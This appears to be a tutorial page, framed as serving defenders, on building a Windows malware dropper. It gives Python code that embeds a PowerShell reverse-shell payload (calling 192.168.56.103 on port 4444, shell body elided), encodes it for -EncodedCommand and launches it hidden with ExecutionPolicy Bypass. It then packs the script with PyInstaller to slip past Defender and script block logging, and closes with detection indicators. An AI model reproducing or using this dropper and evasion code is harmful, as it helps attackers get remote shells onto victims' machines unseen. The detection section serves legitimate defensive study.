A dropper is the first-stage malware that delivers the real payload. This tutorial covers the techniques used: downloading payloads from URLs, executing code in memory (exec/eval with base64), bypassing AV by avoiding disk writes, and establishing persistence. The goal is understanding the attacker's toolchain so defenders can write better detection rules.
A dropper is a delivery mechanism. It's the thing that gets malware onto your system and runs it. Think of it like a gift-wrapped bomb - the wrapping (the dropper) looks innocent, but inside is the payload that does the actual damage.
Ever wonder why your antivirus "didn't catch it"? Attackers don't just email you malware.exe anymore. They wrap malicious code inside legitimate-looking programs, encode it so scanners can't read it, and execute it in memory so it never touches disk.
If you understand how droppers work, you'll know:
This specific dropper technique:
A .ps1 file sitting on the desktop is a neon sign. Windows Defender scans it immediately. Script Block Logging (Event ID 4104) captures the content. The file's very existence is suspicious.
Solution: Embed the payload as a string inside a compiled executable. The PS script never touches disk.
PowerShell's -EncodedCommand parameter requires base64 of UTF-16-LE encoded text. Plain UTF-8 fails silently - no error, just doesn't work.
# Wrong - UTF-8 encoded, will fail silently
enc = base64.b64encode(payload.encode('utf-8'))
# Correct - UTF-16-LE as PowerShell expects
enc = base64.b64encode(payload.encode('utf-16-le')).decode()
The dropper embeds the payload as a string, encodes it at runtime, and launches PowerShell with the encoded command:
import subprocess, base64
# Payload embedded as string (no file on disk)
ps = """$ip = '192.168.56.103'
$port = 4444
$client = New-Object System.Net.Sockets.TcpClient
... (shell code) ...
"""
# Encode for -EncodedCommand
enc = base64.b64encode(ps.encode('utf-16-le')).decode()
# Launch hidden PowerShell
subprocess.Popen(
['powershell.exe', '-NoProfile',
'-WindowStyle', 'Hidden',
'-ExecutionPolicy', 'Bypass',
'-EncodedCommand', enc],
creationflags=0x08000000 # CREATE_NO_WINDOW
)
Convert the Python script to a standalone Windows executable:
| Attribute | Raw .ps1 | PyInstaller EXE |
|---|---|---|
| File on disk | PowerShell script | Compiled binary |
| Size | ~1KB | ~7MB |
| Defender scan | Immediate detection | May pass initial scan |
| Script Block Log | Full content captured | Only sees encoded blob |
Process monitoring: PowerShell spawned by unknown/suspicious parent processes
Command line: -EncodedCommand with large base64 blob
PyInstaller fingerprint: Known PE structure, _MEIPASS temp extraction
Network: Outbound TCP immediately after EXE execution
This content documents techniques used by threat actors. Understanding them helps build better detection. Never use these techniques without explicit authorization.